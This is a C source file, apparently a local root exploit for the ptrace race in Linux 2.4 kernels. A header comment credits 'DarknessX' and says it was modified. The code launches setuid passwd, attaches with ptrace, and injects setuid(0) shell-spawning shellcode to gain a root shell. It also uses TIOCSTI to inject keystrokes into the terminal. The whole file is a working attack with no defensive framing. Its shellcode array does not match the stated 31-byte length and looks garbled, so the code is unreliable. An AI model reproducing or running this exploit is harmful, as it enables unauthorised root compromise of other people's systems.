/*
	DarknessX ptrace2.4 works on kernel 2.4-* and lower all linux distros. i         just modded this, its not mine :)
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/ioctl.h>
#include <linux/user.h>
#include <limits.h>
#include <unistd.h>
#include <signal.h>
#include <wait.h>
#include <fcntl.h>

#define VICTIM	"/usr/bin/passwd"
#define TARGET  "/usr/bin/newgrp"

/* quite tricky shellcode(not really i gonna add a lil bit :), */
/* setuid(0) + /bin/sh = 31 bytes*/
char sc[]=
	"\x6a\x17\x58\x31\xdb\xcd\x80\x31\xcd"
	"\xd2\x52\x68\x6e\x2f\x73\x68\x68\x80"
	"\x2f\x2f\x62\x69\x89\xe3\x52\x53\xe3"
	"\x89\xe1\x8d\x42\x0b\xcd\x80\xe1\xdb";

void ex_passwd(int fd)
{
	char z;
	dup2(2, 1);
        if (read(fd, &z, 1) <= 0) {
        	perror("read:");
        	exit(1);
        }
        execl(VICTIM, VICTIM, 0);
        perror("execl");
        exit(1);
}

void insert(char *us, int pid)
{
        char buf[99];
        char *ptr = buf;
        sprintf(buf, "exec %s %i\n", us, pid);
        while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}


int	insert_shellcode(int pid)
{
        int	i, wpid;
        struct	user_regs_struct regs;

        if (ptrace(PTRACE_GETREGS, pid, 0, &regs)) {
                perror("PTRACE_GETREGS");
                exit(0);
        }

        for (i = 0; i <= strlen(sc) + 1; i += 4)
                ptrace(PTRACE_POKETEXT, pid, regs.eip + i,
                    *(unsigned int *) (sc + i));

        if (ptrace(PTRACE_SETREGS, pid, 0, &regs))
                exit(0);

        if (ptrace(PTRACE_DETACH, pid, 0, 0))
                exit(0);

        close(2);
        do {
                wpid = waitpid(-1, NULL, 0);
                if (wpid == -1) {
                        perror("waitpid");
                        exit(1);
                }
        } while (wpid != pid);
	return 0;
}

int	
main(int argc, char *argv[])
{
        int	res;
        int	pid, n;
        int	pipa[2];

	if ((argc == 2) && ((pid = atoi(argv[1])))) {
		return insert_shellcode(pid);
	}

        pipe(pipa);

        switch (pid = fork()) {
	        case -1:
	                perror("fork");
	                exit(1);
	        case 0:
	                close(pipa[1]);
	                ex_passwd(pipa[0]);
	        default:;
        }


        res = ptrace(PTRACE_ATTACH, pid, 0, 0);

        if (res) {
                perror("woot!");
                exit(1);
        }

        res = waitpid(-1, NULL, 0);
        if (res == -1) {
                perror("waitpid");
                exit(1);
        }

        res = ptrace(PTRACE_CONT, pid, 0, 0);
        if (res) {
                perror("cont");
                exit(1);
        }

        fprintf(stderr, "wooT!!!\n");

        switch (fork()) {
	        case -1:
	                perror("fork");
	                exit(1);
	        case 0:
	                close(pipa[1]);
	                sleep(1);
	                insert(argv[0], pid);
	                do {
				char c;
	                        n = read(pipa[0], &c, 1);
	                } while (n > 0);
	                if (n < 0)
	                        perror("read");
	                exit(0);
	        default:;
	}
        close(pipa[0]);

        dup2(pipa[1], 2);
        close(pipa[1]);
        /* ????no sense */
        setenv("LD_DEBUG", "libs", 1);
        /* dark burns you */
        execl(TARGET, TARGET, 0);
	return 1;
}